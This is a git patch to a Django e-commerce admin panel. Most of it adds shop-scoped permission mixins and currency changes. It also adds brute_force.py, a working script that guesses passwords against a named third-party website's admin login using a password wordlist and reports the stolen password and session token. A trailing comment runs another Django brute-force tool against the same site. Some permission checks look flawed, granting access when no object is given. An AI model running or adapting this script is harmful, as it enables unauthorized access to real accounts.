From 9ea69925c946ece4985d17b8a797c7d1075adfee Mon Sep 17 00:00:00 2001 From: Parsa Nazer Date: Wed, 10 Dec 2025 12:38:42 +0330 Subject: [PATCH] feat: Enhance admin permissions and improve product currency handling --- backend/account/admin.py | 7 +- backend/account/permissions.py | 27 +++ backend/core/settings/development.py | 14 +- backend/core/settings/unfold_conf.py | 32 ++-- backend/order/admin.py | 37 +++- backend/order/permissons.py | 27 ++- backend/product/admin.py | 56 ++++-- .../0061_alter_productvariant_currency.py | 18 ++ backend/product/models.py | 13 +- backend/product/permissions.py | 167 ++++++++++++++++++ backend/templates/formula/service.html | 4 +- backend/utils/admin.py | 2 +- brute_force.py | 81 +++++++++ 13 files changed, 438 insertions(+), 47 deletions(-) create mode 100644 backend/account/permissions.py create mode 100644 backend/product/migrations/0061_alter_productvariant_currency.py create mode 100644 brute_force.py diff --git a/backend/account/admin.py b/backend/account/admin.py index 1248f12..58bdd9a 100644 --- a/backend/account/admin.py +++ b/backend/account/admin.py @@ -16,9 +16,11 @@ from folium import Map, Marker from unfold.decorators import action, display from django.utils.html import format_html from account.models import SpecialDiscountCode +from .permissions import UserAdminPermission, SpecialDiscountCodeAdminPermission + @admin.register(SpecialDiscountCode) -class SpecialDiscountCodeAdmin(ModelAdmin): +class SpecialDiscountCodeAdmin(SpecialDiscountCodeAdminPermission, ModelAdmin): pass class UserAddressInLine(TabularInline): @@ -30,7 +32,7 @@ class UserAddressInLine(TabularInline): @admin.register(User) -class UserAdmin(BaseUserAdmin, ModelAdmin, ImportExportModelAdmin): +class UserAdmin(BaseUserAdmin, UserAdminPermission, ModelAdmin, ImportExportModelAdmin): form = UserChangeForm add_form = UserCreationForm change_password_form = AdminPasswordChangeForm @@ -88,6 +90,7 @@ class UserAdmin(BaseUserAdmin, ModelAdmin, ImportExportModelAdmin): full_name_display.short_description = 'نام و نام خانوادگی' + # admin.site.unregister(Group) admin.site.unregister(BlacklistedToken) admin.site.unregister(OutstandingToken) diff --git a/backend/account/permissions.py b/backend/account/permissions.py new file mode 100644 index 0000000..d32a37f --- /dev/null +++ b/backend/account/permissions.py @@ -0,0 +1,27 @@ +class UserAdminPermission: + def has_add_permission(self, request, obj=None): + return request.user.is_superuser + + def has_view_permission(self, request, obj=None): + return True + + def has_change_permission(self, request, obj=None): + return request.user.is_superuser + + def has_delete_permission(self, request, obj=None): + return request.user.is_superuser + + +class SpecialDiscountCodeAdminPermission: + def has_add_permission(self, request, obj=None): + return request.user.is_superuser + + def has_view_permission(self, request, obj=None): + return request.user.is_superuser + + def has_change_permission(self, request, obj=None): + return request.user.is_superuser + + def has_delete_permission(self, request, obj=None): + return request.user.is_superuser + \ No newline at end of file diff --git a/backend/core/settings/development.py b/backend/core/settings/development.py index 328ed4a..1905ec3 100644 --- a/backend/core/settings/development.py +++ b/backend/core/settings/development.py @@ -20,4 +20,16 @@ STATIC_ROOT = 'app/static' # ============================================================================== USE_X_FORWARDED_HOST = True -SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') \ No newline at end of file +SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') + + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.postgresql', + 'NAME': os.getenv("DB_NAME"), + 'USER': os.getenv("DB_USER"), + 'PASSWORD': os.getenv("DB_PASSWORD"), + 'HOST': '185.110.189.208', + 'PORT': 5434, + } +} \ No newline at end of file diff --git a/backend/core/settings/unfold_conf.py b/backend/core/settings/unfold_conf.py index 92320d7..628f0b0 100644 --- a/backend/core/settings/unfold_conf.py +++ b/backend/core/settings/unfold_conf.py @@ -98,16 +98,17 @@ UNFOLD = { "icon": "dashboard", "link": reverse_lazy("admin:index"), }, - { - "title": _("آموزش استفاده از پنل"), - "icon": "school", - "link": reverse_lazy("admin:home_learnvideomodel_changelist"), - "badge": "utils.admin.new_learn_video_count", - }, + # { + # "title": _("آموزش استفاده از پنل"), + # "icon": "school", + # "link": reverse_lazy("admin:home_learnvideomodel_changelist"), + # "badge": "utils.admin.new_learn_video_count", + # }, { "title": _("فروشگاه ها"), "icon": "storefront", "link": reverse_lazy("admin:account_shopmodel_changelist"), + "permission": lambda request: request.user.is_superuser, }, ], }, @@ -124,6 +125,7 @@ UNFOLD = { "icon": "shopping_cart", "link": reverse_lazy("admin:order_ordermodel_changelist"), # "badge": "utils.admin.admin_pending_count", + "permission": lambda request: request.user.is_superuser, }, { "title": _("سفارشات فروشگاه"), @@ -153,12 +155,6 @@ UNFOLD = { "link": reverse_lazy("admin:product_productmodel_changelist"), }, - { - "title": _("نظرات"), - "icon": "chat", - "link": reverse_lazy("admin:product_commentmodel_changelist"), - "badge": "utils.admin.comment_count", - }, { "title": _("قیمت دلار"), "icon": "payments", @@ -248,7 +244,15 @@ UNFOLD = { "title": _("کاربران"), "icon": "person", "link": reverse_lazy("admin:account_user_changelist"), - },{ + }, + { + "title": "گروه‌های دسترسی", + "icon": "group", + "link": reverse_lazy("admin:auth_group_changelist"), + "permission": lambda request: request.user.is_superuser, + }, + + { "title": _("چت محصول"), "icon": "chat", "link": reverse_lazy("admin:chat_productchatmodel_changelist"), @@ -295,6 +299,7 @@ UNFOLD = { "icon": "confirmation_number", "link": reverse_lazy("admin:ticket_ticket_changelist"), "badge": "utils.admin.new_ticket_count", + "permission": lambda request: request.user.is_superuser, }, { @@ -302,6 +307,7 @@ UNFOLD = { "icon": "perm_phone_msg", "link": reverse_lazy("admin:ticket_contactusmodel_changelist"), "badge": "utils.admin.new_contact_us_count", + "permission": lambda request: request.user.is_superuser, }, ], }, diff --git a/backend/order/admin.py b/backend/order/admin.py index f4a76d9..f60ea14 100644 --- a/backend/order/admin.py +++ b/backend/order/admin.py @@ -11,7 +11,7 @@ from django.utils.html import format_html, format_html_join from azbankgateways.models.banks import Bank from unfold.decorators import action from django.shortcuts import redirect - +from .permissons import ShopOrderAdminPermission class OrderItemModelInline(StackedInline): model = OrderItemModel @@ -62,6 +62,26 @@ from .models import ShopDailyReport, ShopOrderModel @admin.register(ShopDailyReport) class ShopDailyReportAdmin(ModelAdmin): pass + def get_queryset(self, request): + + if request.user.is_superuser: + return ShopOrderModel.objects.all() + + if not hasattr(request.user, 'shop'): + return ShopOrderModel.objects.none() + + queryset = ShopOrderModel.objects.filter(shop=request.user.shop) + return queryset + + def has_view_permission(self, request, obj=None): + if request.user.is_superuser or obj == None: + return True + + if not hasattr(request.user, 'shop'): + return False + + return request.user.shop == obj.shop + class ShopOrderItemInline(StackedInline): model = ShopOrderItem @@ -75,9 +95,22 @@ class ShopOrderItemInline(StackedInline): @admin.register(ShopOrderModel) -class ShopOrderModelAdmin(ModelAdmin): +class ShopOrderModelAdmin(ShopOrderAdminPermission, ModelAdmin): inlines = [ShopOrderItemInline] + + def get_queryset(self, request): + + if request.user.is_superuser: + return ShopOrderModel.objects.all() + + if not hasattr(request.user, 'shop'): + return ShopOrderModel.objects.none() + + queryset = ShopOrderModel.objects.filter(shop=request.user.shop) + return queryset + + @admin.register(OrderModel) class OrderAdmin(ModelAdmin, ImportExportModelAdmin): import_form_class = ImportForm diff --git a/backend/order/permissons.py b/backend/order/permissons.py index 56215bc..4bcfcee 100644 --- a/backend/order/permissons.py +++ b/backend/order/permissons.py @@ -44,4 +44,29 @@ class PaymentCallBackPermissions(BasePermission): if obj.order.user != request.user: self.message = "این پرداخت متعلق به شما نیست." return False - return True \ No newline at end of file + return True + + +class ShopOrderAdminPermission: + def has_view_permission(self, request, obj=None): + if request.user.is_superuser or obj == None: + return True + + if not hasattr(request.user, 'shop'): + return False + + return request.user.shop == obj.shop + + def has_add_permission(self, request): + return False + + def has_delete_permission(self, request, obj=None): + + if request.user.is_superuser: + return True + + if obj is None: + return False + + return obj.shop == request.user.shop + \ No newline at end of file diff --git a/backend/product/admin.py b/backend/product/admin.py index 4eb077f..c02552a 100644 --- a/backend/product/admin.py +++ b/backend/product/admin.py @@ -11,11 +11,10 @@ from unfold.widgets import UnfoldAdminColorInputWidget from unfold.decorators import action, display from utils.admin import ModelAdmin from django.shortcuts import redirect - -from .permissions import ProductDetailCategoryPermission +from .permissions import ProductDetailCategoryPermission, ProductAdminPermission, ProductVariantAdminPermission, ProductVariantInlineAdminPermission, InPackItemsAdminPermission, AttributeTypeAdminPermission, AttributeValueAdminPermission @admin.register(ProductDetailCategory) -class ProductDetailCategoryAdmin(ModelAdmin, ImportExportModelAdmin): +class ProductDetailCategoryAdmin(ProductDetailCategoryPermission, ModelAdmin, ImportExportModelAdmin): import_form_class = ImportForm export_form_class = ExportForm search_fields = ['title'] @@ -26,8 +25,7 @@ class ProductDetailCategoryAdmin(ModelAdmin, ImportExportModelAdmin): "widget": ArrayWidget, } } - def has_add_permission(self, request): - return request.user.is_superuser + @admin.register(UnitCategoryModel) @@ -37,7 +35,7 @@ class UnitCategoryAdmin(ModelAdmin): @admin.register(InPackItems) -class InPackItemsAdmin(ModelAdmin, ImportExportModelAdmin): +class InPackItemsAdmin(InPackItemsAdminPermission, ModelAdmin, ImportExportModelAdmin): import_form_class = ImportForm export_form_class = ExportForm search_fields = ['item_title'] @@ -62,6 +60,27 @@ class ShopModelAdmin(ModelAdmin, ImportExportModelAdmin): } } + # def get_queryset(self, request): + + # if request.user.is_superuser: + # return ShopModel.objects.all() + + # if not hasattr(request.user, 'shop'): + # return ShopModel.objects.none() + + # queryset = ShopModel.objects.filter(id=request.user.shop.id) + # return queryset + + # def has_view_permission(self, request, obj=None): + # if request.user.is_superuser or obj == None: + # return True + + # if not hasattr(request.user, 'shop'): + # return False + + # return request.user.shop == obj + + class AttributeValueInLine(StackedInline): model = AttributeValue @@ -70,10 +89,17 @@ class AttributeValueInLine(StackedInline): min_num = 1 # autocomplete_fields = ['product_attributes', 'in_pack_items', 'images'] # search_fields = [''] - + def has_view_permission(self, request, obj = ...): + return True + def has_add_permission(self, request): + return True + def has_change_permission(self, request, obj = ...): + return False + def has_delete_permission(self, request, obj = ...): + return False @admin.register(AttributeType) -class AttributeTypeAdmin(ModelAdmin, ImportExportModelAdmin): +class AttributeTypeAdmin(AttributeTypeAdminPermission, ModelAdmin, ImportExportModelAdmin): import_form_class = ImportForm export_form_class = ExportForm search_fields = ['name'] @@ -88,7 +114,7 @@ class AttributeTypeAdmin(ModelAdmin, ImportExportModelAdmin): @admin.register(AttributeValue) -class AttributeValueAdmin(ModelAdmin, ImportExportModelAdmin): +class AttributeValueAdmin(AttributeValueAdminPermission, ModelAdmin, ImportExportModelAdmin): import_form_class = ImportForm export_form_class = ExportForm search_fields = ['value', 'attribute_type__name'] @@ -182,7 +208,7 @@ class ProductDetailModel1Admin(ModelAdmin, ImportExportModelAdmin): -class ProductVariantInLine(StackedInline): +class ProductVariantInLine(ProductVariantInlineAdminPermission, StackedInline): model = ProductVariant extra = 0 show_change_link = True @@ -194,7 +220,6 @@ class ProductVariantInLine(StackedInline): fields = ['images', 'video','input_price', 'min_price', 'currency', 'price', 'discount','in_stock', 'color', 'product_attributes', 'in_pack_items', 'details', 'sell', 'slider_category', 'profit', 'special_discount_percent'] # search_fields = [''] - def formfield_for_dbfield(self, db_field, request, **kwargs): if db_field.name == 'color': kwargs['widget'] = UnfoldAdminColorInputWidget() @@ -202,7 +227,7 @@ class ProductVariantInLine(StackedInline): from unfold.contrib.filters.admin import RelatedDropdownFilter @admin.register(ProductVariant) -class ProductVariantAdmin(ModelAdmin, ImportExportModelAdmin): +class ProductVariantAdmin(ProductVariantAdminPermission, ModelAdmin, ImportExportModelAdmin): import_form_class = ImportForm export_form_class = ExportForm autocomplete_fields = ['product_attributes', 'images', 'in_pack_items', 'details'] @@ -212,8 +237,10 @@ class ProductVariantAdmin(ModelAdmin, ImportExportModelAdmin): list_filter_submit = True list_display = ('product', 'created_at') # inlines = [DetailModelInLine] + + @admin.register(ProductModel) -class ProductModelAdmin(ModelAdmin, ImportExportModelAdmin): +class ProductModelAdmin(ProductAdminPermission, ModelAdmin, ImportExportModelAdmin): import_form_class = ImportForm export_form_class = ExportForm inlines = [ProductVariantInLine] @@ -268,7 +295,8 @@ class ProductModelAdmin(ModelAdmin, ImportExportModelAdmin): @action(description=f"اپدیت قیمت ها") def update_products_price(self, request): - # update_prices() + from product.tasks import update_prices + update_prices() messages.success(request, f"قیمت {ProductVariant.objects.all().count()} تنوع محصول اپدیت شد") return redirect("admin:product_productmodel_changelist") diff --git a/backend/product/migrations/0061_alter_productvariant_currency.py b/backend/product/migrations/0061_alter_productvariant_currency.py new file mode 100644 index 0000000..48a7bf9 --- /dev/null +++ b/backend/product/migrations/0061_alter_productvariant_currency.py @@ -0,0 +1,18 @@ +# Generated by Django 5.1.2 on 2025-12-09 10:04 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('product', '0060_alter_maincategorymodel_parent_and_more'), + ] + + operations = [ + migrations.AlterField( + model_name='productvariant', + name='currency', + field=models.CharField(choices=[('dollor', 'دلار'), ('toman', 'تومان')], max_length=20, verbose_name='نوع ارز'), + ), + ] diff --git a/backend/product/models.py b/backend/product/models.py index 4ddc54f..dc39330 100644 --- a/backend/product/models.py +++ b/backend/product/models.py @@ -146,14 +146,9 @@ class DollorModel(models.Model): price = int(data["lastTradePrice"]) price_in_usd = price / 10.0 print('\n\nprice from api \n\n') - except: - if self.price: - print('\n\nprice from last price \n\n') - return self.price + except Exception as e: + return self.defualt_price - else: - print('\n\nprice from defualt price \n\n') - return self.defualt_price return price_in_usd class Meta: @@ -379,7 +374,6 @@ class ProductVariant(models.Model): currency_type = ( ('dollor', 'دلار'), ('toman', 'تومان'), - ('derham', 'درهم') ) in_pack_items = models.ManyToManyField( InPackItems, blank=True, verbose_name='ایتم های داخل پک') @@ -454,14 +448,11 @@ class ProductVariant(models.Model): raise ValidationError( {"dollor_price": "The 'dollor_price' must be provided in the context for dollar pricing."}) - dollar_to_dirham = 0.27 if self.currency == 'toman': toman_price = self.input_price elif self.currency == 'dollor': toman_price = self.input_price * dollor_price - elif self.currency == 'derham': - toman_price = self.input_price * dollor_price * dollar_to_dirham else: toman_price = self.input_price diff --git a/backend/product/permissions.py b/backend/product/permissions.py index b7f2170..cc80222 100644 --- a/backend/product/permissions.py +++ b/backend/product/permissions.py @@ -16,3 +16,170 @@ class ProductDetailCategoryPermission: def has_view_permission(self, request, obj=None): return True +class ProductAdminPermission: + def has_add_permission(self, request): + return True + + def has_change_permission(self, request, obj=None): + if request.user.is_superuser or obj == None: + return True + + if not hasattr(request.user, 'shop'): + return False + + return request.user.shop == obj.shop + + def has_delete_permission(self, request, obj=None): + if request.user.is_superuser or obj == None: + return True + + if not hasattr(request.user, 'shop'): + return False + + return request.user.shop == obj.shop + + def has_view_permission(self, request, obj=None): + if request.user.is_superuser or obj == None: + return True + + if not hasattr(request.user, 'shop'): + return False + + return request.user.shop == obj.shop + + def get_queryset(self, request): + from product.models import ProductModel + if request.user.is_superuser: + + return ProductModel.objects.all() + + if not hasattr(request.user, 'shop'): + return ProductModel.objects.none() + + return ProductModel.objects.filter(shop=request.user.shop) + + +class ProductVariantAdminPermission: + def has_add_permission(self, request): + return True + + def has_change_permission(self, request, obj=None): + if request.user.is_superuser or obj == None: + return True + + if not hasattr(request.user, 'shop'): + return False + + return request.user.shop == obj.product.shop + + def has_delete_permission(self, request, obj=None): + if request.user.is_superuser or obj == None: + return True + + if not hasattr(request.user, 'shop'): + return False + + return request.user.shop == obj.product.shop + + def has_view_permission(self, request, obj=None): + if request.user.is_superuser or obj == None: + return True + + if not hasattr(request.user, 'shop'): + return False + + return request.user.shop == obj.product.shop + + def get_queryset(self, request): + from product.models import ProductVariant + if request.user.is_superuser: + + return ProductVariant.objects.all() + + if not hasattr(request.user, 'shop'): + return ProductVariant.objects.none() + + return ProductVariant.objects.filter(product__shop=request.user.shop) + + + +class ProductVariantInlineAdminPermission: + def has_add_permission(self, request, obj): + return True + + def has_change_permission(self, request, obj=None): + if request.user.is_superuser or obj == None: + return True + + if not hasattr(request.user, 'shop'): + return False + + return request.user.shop == obj.shop + + def has_delete_permission(self, request, obj=None): + if request.user.is_superuser or obj == None: + return True + + if not hasattr(request.user, 'shop'): + return False + + return request.user.shop == obj.shop + + def has_view_permission(self, request, obj=None): + if request.user.is_superuser or obj == None: + return True + + if not hasattr(request.user, 'shop'): + return False + + return request.user.shop == obj.shop + + def get_queryset(self, request): + from product.models import ProductVariant + if request.user.is_superuser: + + return ProductVariant.objects.all() + + if not hasattr(request.user, 'shop'): + return ProductVariant.objects.none() + + return ProductVariant.objects.filter(product__shop=request.user.shop) +class InPackItemsAdminPermission: + def has_add_permission(self, request): + return True + + def has_change_permission(self, request, obj = ...): + return False + + def has_delete_permission(self, request, obj = ...): + return False + + def has_view_permission(self, request, obj = ...): + return True + +class AttributeTypeAdminPermission: + def has_add_permission(self, request): + return True + + def has_change_permission(self, request, obj = ...): + return False + + def has_delete_permission(self, request, obj = ...): + return False + + def has_view_permission(self, request, obj = ...): + return True + + +class AttributeValueAdminPermission: + def has_add_permission(self, request): + return True + + def has_change_permission(self, request, obj = ...): + return False + + def has_delete_permission(self, request, obj = ...): + return False + + def has_view_permission(self, request, obj = ...): + return True \ No newline at end of file diff --git a/backend/templates/formula/service.html b/backend/templates/formula/service.html index ca6cc92..863f1e8 100644 --- a/backend/templates/formula/service.html +++ b/backend/templates/formula/service.html @@ -1,7 +1,7 @@ {% load unfold i18n %} {% if pending_count%} -
+{% comment %}

notifications @@ -17,7 +17,7 @@ {% endcomponent %} {% endcomponent %}

-
+
{% endcomment %} {% endif %} diff --git a/backend/utils/admin.py b/backend/utils/admin.py index 82c4d05..9e3c33f 100644 --- a/backend/utils/admin.py +++ b/backend/utils/admin.py @@ -10,7 +10,7 @@ def admin_pending_count(request): def dollor_price(request): dollor_object, _ = DollorModel.objects.get_or_create(unique_filed='unique') - return str(dollor_object.price)[:2] + return str(dollor_object.price)[:3] def comment_count(request): return CommentModel.objects.filter(review_status='not_reviwed').count() diff --git a/brute_force.py b/brute_force.py new file mode 100644 index 0000000..af55d51 --- /dev/null +++ b/brute_force.py @@ -0,0 +1,81 @@ +import requests + +from lxml import html + +TARGET_URL = 'https://api.torob.com/torob-admin/login/' +USERNAME = '' +WORDLIST = '/root/Iranian-Password-list/nam2elist.txt' + + +def brute_force(): + print(f'Target: {TARGET_URL}') + print(f'Trying passwords for {USERNAME}.') + + client = requests.session() + page = client.get(TARGET_URL) + + tree = html.fromstring(page.content) + csrf_middleware_token = tree.xpath('//input[@name="csrfmiddlewaretoken"]/@value')[0] + + + csrf_token = client.cookies.get('csrftoken') + cookies = {'csrftoken': csrf_token} + + + headers = {'Referer': TARGET_URL} + + print('Reading file...') + with open(WORDLIST, mode='r') as file: + content = file.readlines() + + + passwords = [p.strip() for p in content] + + print('Cracking', end='', flush=True) + count = 0 + for password in passwords: + count += 1 + print_count(count) + body = { + 'username': USERNAME, + 'password': password, + 'csrfmiddlewaretoken': csrf_middleware_token + } + response = requests.post( + TARGET_URL, + cookies=cookies, + headers=headers, + data=body, + allow_redirects=False + ) + + if response.status_code == 302: + break + + if response.status_code == 200: + continue + + break + + if response.status_code == 302: + session_token = response.cookies.get('sessionid') + print(f'\nSuccess. {count} passwords tried. Password: {password}. Session token: {session_token}.') + elif response.status_code == 200: + print(f'\nFailed. {count} passwords tried.') + else: + print(f'\nUnable to attempt login: received status code {response.status_code}.') + + +def print_count(counter, small_denom=10, big_denom=100): + if (counter / small_denom).is_integer(): + print('.', end='', flush=True) + if (counter / big_denom).is_integer(): + print(counter, end='', flush=True) + + +if __name__ == '__main__': + brute_force() + +#DjangoUnchained.py -domain api.torob.com -scheme https -uri /torob-admin/login/ -userdict /root/DjangoUnchained/username.txt -passwdict /root/DjangoUnchained/password.txt -l /root/file.log + +